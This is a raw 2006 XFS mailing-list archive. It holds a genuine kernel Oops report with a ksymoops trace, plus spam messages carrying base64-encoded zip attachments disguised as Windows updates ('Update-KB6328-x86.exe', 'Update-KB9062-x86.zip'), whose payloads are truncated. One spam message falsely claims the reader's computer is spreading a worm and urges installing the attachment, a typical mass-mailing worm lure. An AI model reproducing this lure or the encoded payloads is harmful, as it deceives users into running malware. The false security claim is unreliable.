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 bC7+qbrmQu31tuLdJ4p3rt9W9IplV20bZn7S9orl6FXH+XOOTcU1tR/UOerO AHdFbU1NY11ndW3NpuKKs7VtePSKhX7toGHz2BBoc09zc0OzlbE5qTNSp4xP vTMhMnJK5EPKXxCk4UUKov8ZGPnQ6N8NCxlxrwb/WLD5X/bPr7TWF3744W42 5tGhv1+xcs7999zzBPso5/XX86w570vvvFdDupppip5mmuLlPTBuypTRuI9+ 9oW5ySufmvjCiueyxbSsZeKSufxrCC3HT5Z/f7XqxHfHv99E91FPL41fvHD2 088++/jTc7LcmX31qjc/zMt72VYH2BNHK69XnDixjeDSM5enpcfMnv3UM/Sd Xdb3/tB72YO/vdfjUe9JdB+7Mj3zhfQp83CaTwATs+bNFuZNmp85D9s+ZPeZ UamPZURFPDaMsdUbd768/pMdH2wsWPfBxrzi9zfaKlmY72D3+zQDAvp7ei4l +Iyk6dMfe5ix1GUL/rAsa9GTKxY8N3MwnicufTp66Yo5SctWLp2RtWJpPL5H yXJ2lvxl45Z/ch/atee7PacvnTt9qnYtu9S0+fimzR+fa2y0sj1Hy0p/2ohv cqZMmjpj/CTTH6YnpKWMZGx6REzk49MeZO8X/+Mfhe9vpi9HsuP7yyo/wXmg Pmigd18P78CgdBY7Je3xcC6J63BpwKUBlwZcGnBpwKUBlwZcGnBpwKUBlwb+ P2vAnf8XYDB+5YEfcLIxOPeW1o1+B0Z/B3fL83l4jl+N3/K8Dxa6Nz0EpBuj 52twVQhkH+KHic5jMn6CSL8VdB70n3rgh0XwWSpg95/08YfKCwe+48NsefRX AviFUa3MPv9oC8vJfJH9dbmNvbpwGdv2tp19vNzKtr/+Fvtx7z7275fz2c5F i1iZILBdzz3H9q1ezSpefZUdWLuWVaxZww68/jo7+PbbrAqv+qoq1nj8OGs+ eZJdlmXW3tLCOq5cYWe/2s/kb75iTWerWVPtaZzPsMbaU+xCzUl2vvoEO3/m OGs4fZQ1nDmG11HmOP0jqz/5Pas/9QNeh1n96SOs7uR3eB1ib775F7Zsmchs tjy2YMHT7MUXn2OZmfPZW2/9lS1fvoxlZ7/Atm37Fzt27Af2739/wbZv38oW LlzArl1rYx0dV9n58/Xsq68q2N/+9jYrKJDY9esdGGsH7Da2ceMGtnLlCrZi xXK2aNEz0FUn6+y8zi621LLmizU4n2Utl+pY7dnjrKb2GDtQtY9dbm1gly47 8LyeHf7hG9yfZ/8q2cRarzTi+gJ7YdkSdvHSOTzbzK5cbcbzJtzLeC7gXMf2 V37J2tovsattLRi/iPFmlrHAjHGRbdv+L9be0Yrxy2xvRSl7Mft51nHtKp5d YceOH2GZCzNYNmR+ETKvLrCx7ZB3w8fF7J2/vcWud0Ku6+2sErKKSwXcX2Mr IFsnZLoOmX468RN77KtjLKj0e+b7z2+Z78YKZti4n4WXHWbhG3ayx3d+x361 7t9s2Kb9bM52/Hr73TI24LUSFrL+Sxb2+haW+Kd1LHpdKZu57nOW8MdCNsL2 ETO98SmbX/gZi8D11D8XszT8GYJt3adsfPrL7DnrGvbPsm/YxpJydhL+8fe/ /529Cj9auXIlW7x4MfS9CPZc0DuUXHf/FzWwgh8/y1n/kNjY1NRFj9JxOyga j03mR+q8FQTVG1W/kNiRGSNHZmB8/vyFC1PnzeuNpd9w5/RkDOOIumV8JKb/ DtOV4VvGFeLdwzeP36cOO6f/3LiK/Rb89yWkpfbAfrvxsJGPiuKj4sTo6Cgc N/FP9EnyhQsnRL8g3m5cmR0ZHT2ept9mPp9tjY4WxRXW24z/DrPFFxTit5mv EI8GcXHFxNuNd0t++/k3Dd/C38LMzAkq6dvSX5gZPVEUwfjt+QteOBZG7XHc pL/ghZGiKEbeALhlvNfsW/QT7G6P0hUGBQVGRQ28HX93v7tm8Lt/8hzw7ttR Xm8NePc1TW/8d+oNr/r6vqM16F/v3//Pfe5842+9x9e+kr92rZS3du2btr/3 Xe3t81elGN84UFnZy3jlvswK/shefuUXywGo/fzo9O7qusYG48XotfK/+Orq ND/mJItvN1NvFIxWhboU6mjUpuQXk9CFyKUBlwZcGnBpwKWBX04DF7oudP0P UEsBAhQAFAAAAAgAAAAAAFKcVk5HHAAABGAAABUAAAAAAAAAAAAAAAAAAAAA AFVwZGF0ZS1LQjYzMjgteDg2LmV4ZVBLBQYAAAAAAQABAEMAAAB6HAAAAAA= -------------0C0338DE1A7D62E6-- From owner-xfs@oss.sgi.com Fri Oct 27 03:09:10 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 03:09:22 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RA98aG012117 for ; Fri, 27 Oct 2006 03:09:10 -0700 X-ASG-Debug-ID: 1161939497-15707-503-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp2.ac-dijon.fr (smtp.ac-dijon.fr [194.167.18.200]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2ABDF4DA292 for ; Fri, 27 Oct 2006 01:58:17 -0700 (PDT) Received: by smtp2.ac-dijon.fr (Postfix, from userid 0) id 78751123715; Fri, 27 Oct 2006 10:52:54 +0200 (CEST) Received: from ac-dijon.fr (localhost.localdomain [127.0.0.1]) by smtp2.ac-dijon.fr (Postfix) with ESMTP id 6123B12B6B5 for ; Fri, 27 Oct 2006 10:52:54 +0200 (CEST) Message-ID: <4541CA71.5040909@ac-dijon.fr> Date: Fri, 27 Oct 2006 10:59:29 +0200 From: =?ISO-8859-1?Q?Jo=EBl_Cuissinat?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040115 X-Accept-Language: fr, en-us, en MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Kernel Oops Subject: Kernel Oops Content-Type: multipart/mixed; boundary="------------050705080401040501010106" X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24242 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9461 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: joel.cuissinat@ac-dijon.fr Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --------------050705080401040501010106 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hello, I'm working for the french national education. We work on a server for students since 3 years. The solution is based on a Mandrake 9.1 but with a large number of updates. Our kernel is : 2.4.32 and the xfstools are updated : - xfsdump-2.2.42 - xfsprogs-2.8.11 - libxfs1-2.8.11 We made a tool to create students and about 1 time over 10 we have a kernel Oops. With the same data we can reproduce the crash and it always append at the same place (the same student). It was the same 2 years ago with older kernel and xfs releases but we hadn't enough student databases to test. Now, the project is growing and the number of crashes in schools too ! The user creation process is composed with : mkdir, setfacl, chown, setquota for a pam-ldap authentification. The Oops usually happends on the chown instruction but if we remove it, it happends on the setquota instruction which is one line behind. Cheers, Joël Cuissinat -- Joël Cuissinat Equipe EOLE CETIAD Dijon, France http://eole.orion.education.fr -- --------------050705080401040501010106 Content-Type: text/plain; name="ksymoops.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="ksymoops.txt" Oct 25 18:17:52 jscribe kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000006 Oct 25 18:17:52 jscribe kernel: printing eip: Oct 25 18:17:52 jscribe kernel: c021de83 Oct 25 18:17:52 jscribe kernel: *pgd = 0000000000000000 Oct 25 18:17:52 jscribe kernel: CPU: 0 Oct 25 18:17:52 jscribe kernel: EIP: 0010:[xfs_trans_brelse+51/240] Not tainted Oct 25 18:17:52 jscribe kernel: EIP: 0010:[] Not tainted Oct 25 18:17:52 jscribe kernel: EFLAGS: 00010246 Using defaults from ksymoops -t elf32-i386 -a i386 Oct 25 18:17:52 jscribe kernel: eax: 00000000 ebx: c59ed790 ecx: c59ed790 edx: 00000000 Oct 25 18:17:52 jscribe kernel: esi: c5352e98 edi: ce520d80 ebp: ce520d80 esp: c6b97d2c Warning (Oops_set_regs): garbage 'Oct 25 18:17:52 jscribe kernel: esi: c5352e98 edi: ce520d80 ebp: ce520d80 esp: c6b97d2c' at end of register line ignored Oct 25 18:17:52 jscribe kernel: ds: 0018 es: 0018 ss: 0018 Oct 25 18:17:52 jscribe kernel: Process chown (pid: 15389, stackpage=c6b97000) Oct 25 18:17:52 jscribe kernel: Stack: 00000000 00000000 c5352e98 c0235f2c c5352e98 ce520d80 00000000 c5d7f198 Oct 25 18:17:52 jscribe kernel: ce520d80 00000000 c5352e98 cff310a0 00000004 c0235fbf c5352e98 0000302d Oct 25 18:17:52 jscribe kernel: cff310a0 00000402 cf8b0980 cf8b0984 0000302d cf8b0c00 c023621a cf8b0c00 Oct 25 18:17:52 jscribe kernel: Call Trace: [xfs_qm_dqread+188/208] [xfs_qm_idtodq+127/224] [xfs_qm_dqget+218/848] [xfs_qm_vop_dqalloc+245/624] [xfs_set Oct 25 18:17:52 jscribe kernel: [] [] [] [] [] [] Oct 25 18:17:52 jscribe kernel: Oct 25 18:17:52 jscribe kernel: Code: 8a 42 06 83 e0 01 84 c0 75 f2 f6 43 30 04 75 ec 52 56 e8 a6 >>EIP; c021de83 <===== >>ebx; c59ed790 <_end+556a7ec/103890bc> >>ecx; c59ed790 <_end+556a7ec/103890bc> Code; c021de83 00000000 <_EIP>: Code; c021de83 <===== 0: 8a 42 06 mov 0x6(%edx),%al <===== Code; c021de86 3: 83 e0 01 and $0x1,%eax Code; c021de89 6: 84 c0 test %al,%al Code; c021de8b 8: 75 f2 jne fffffffc <_EIP+0xfffffffc> Code; c021de8d a: f6 43 30 04 testb $0x4,0x30(%ebx) Code; c021de91 e: 75 ec jne fffffffc <_EIP+0xfffffffc> Code; c021de93 10: 52 push %edx Code; c021de94 11: 56 push %esi Code; c021de95 12: e8 a6 00 00 00 call bd <_EIP+0xbd> 2 warnings and 1 error issued. Results may not be reliable. --------------050705080401040501010106-- From owner-xfs@oss.sgi.com Fri Oct 27 04:52:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 04:52:13 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RBq4aG004735 for ; Fri, 27 Oct 2006 04:52:05 -0700 X-ASG-Debug-ID: 1161945979-13473-257-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ELSA (dsl-146-5-122.telkomadsl.co.za [165.146.5.122]) by cuda.sgi.com (Spam Firewall) with SMTP id B39264DC154 for ; Fri, 27 Oct 2006 03:46:21 -0700 (PDT) Received: (qmail 2124 invoked by uid 0); Fri, 27 Oct 2006 12:45:36 -0000) Received: from unknown (HELO euxodallj) (192.168.1.119) by 192.168.1.133 with SMTP; Fri, 27 Oct 2006 12:45:36 -0000 Date: Fri, 27 Oct 2006 12:35:36 +0200 From: secur@niet.com Mime-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Mail server report. Subject: Mail server report. Content-Type: multipart/mixed; boundary="-----------314CAF1C775E81B0" X-Antivirus: avast! (VPS 0643-7, 10/27/2006), Outbound message X-Antivirus-Status: Clean Message-Id: <20061027104621.B39264DC154@cuda.sgi.com> X-Barracuda-Spam-Score: 1.25 X-Barracuda-Spam-Status: No, SCORE=1.25 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MSGID_FROM_MTA_ID, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24250 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally X-archive-position: 9462 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: secur@niet.com Precedence: bulk X-list: xfs Status: O -------------314CAF1C775E81B0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mail server report. Our firewall determined the e-mails containing worm copies are being sent from your computer. Nowadays it happens from many computers, because this is a new virus type (Network Worms). Using the new bug in the Windows, these viruses infect the computer unnoticeably. After the penetrating into the computer the virus harvests all the e-mail addresses and sends the copies of itself to these e-mail addresses Please install updates for worm elimination and your computer restoring. Best regards, Customers support service -------------314CAF1C775E81B0 Content-Type: APPLICATION/OCTET-STREAM; name="Update-KB9062-x86.zip" Content-transfer-encoding: base64 Content-Disposition: attachment; filename="Update-KB9062-x86.zip" UEsDBBQAAAAIAAAAAAD85pT1ehoAAARQAAAVAAAAVXBkYXRlLUtCOTA2Mi14 ODYuZXhl7Vx5WFPXtt9AgIiJiRoUKwptY0svYlH01hbsRYuiLdUwGGxrcU4R pVg8x6mI4QYsyYFKb51waDnSvtvBa2u1LVarAZzAoWitWMWpVd9RQEUcCCC8 tfY5CYP0/nPve9/93pfjd7LP2cMafnuttdfeCb76eh5xI4TI4G5tJaQISrzC pfKfFYehsYffDz3Izm7HHi9yiTr2eFzi3IX+C1JT3kqdkew/a8bbb6cw/jPn +Keyb/vPfds/YlKsf3LK7DlDlEovrUR4zuv7zz4e+oW57f7S/CS8v6TdZX4C yjItbx4EZf6orWZ/KGPmzkrEvp3l0o0lJMrFjagPh8OTeF0iKpfuLh6E+MML 3nBV9IcPNdzBkpb4DDfqj5e9JDqpHxSutAU6YV9HKb3amQ0hJEAiOb1bZ+n+ hXfgqfgnw4cwc5Yw0D57oCQv6knlbLugavqQ2TOYGVB12F3S3YFBW79wQqxD UhemzoIqqgNUUFpYtrvgtVPNv6Cfc6gTAScCTgScCDgRcCLgRMCJgBMBJwJO BJwI/J8gMA72rcPhtl+mmuG7cL8ZYo3Vx+9VBIeT3DStov5Tw6eWqTKFsX5J NhThpoahabc4Rhuxzw/65kZoFSHnDNwAV+iu1wk+sGE27ZebmsYz7sW/X6v2 tI4i0DI+y8r0Cb3IegwdJYfXxOk3CBEUfQmp3suVBq0BQozCJISwit3hm6DS fffVFwkxDB0gg86cXs55cBMVbhXRMUIidKX0Jy33hHbkmmVlRxQgkz+VbsGC 89AlEUHVixCd8Ct8mprmMt1NTUsYj6EDkPm0hBDrG6b9w0sNz1D60xKKXIAq rcprf5nStHLXhW4h1lIuQiszZCipNMOMI19luhuKg5A3B40WJXI1FrPZ9MEy 3sVoe53BYYbiUXQIpV+aZzCNwDHxGTVb4dglN1PrC2DpdYmuUAg/ARhUi9wo rVr2eTRVRZjb0tpq2q8AFXtJxOITMvbj8BIZyV2t9QXKu2TwIfj1AZJxWh8k C+8xSSQxHCjohEXQYNqv/gH38kDbJ4nAP1f8FDb2JoS7bWppZaI4JUIDemqA iCyJmMX3KK0mhovTqt3KddF6oRr6m/ZruONCNBwN2KUFipK0GykreYi1Tcb2 eGbUhMERC5+IhJXz8dN7AXyaI7QBPAMPseYobbBFuQQeJ+uhNjzeHKcNz47S jg+xggWONNa/AxY4EixQnXbLwM+mFKbDpwE6D4e+wbRfsLGeh37B0M8dLFU5 BSfFeypyitIGZMdpB9NuAcb6IOgWAN1kabd4HfZSxony+AJTf9rL11h/CXr5 ir0Mqr0DIpDtTm0cqJKkTiJ681Str1DcHcyVa4KpUu07ZGqQM5pRXwPgbF8D 95Ph51aDOU2rrvbK1fQHKdUGrlGwygH6AVFIK0erA1owDpDXPHkmOsZM64Vj YBaAvS8gaug2arxoGj4h56JjdTE/4GEVvE5FzUNqQYYA4VU47cqyqjJfhekH t4zSCRvhIMe0X4aVI6HSYGp9gekFcwwS/PTzJRgKDw3V3QzFrXVUQiAYDEJE 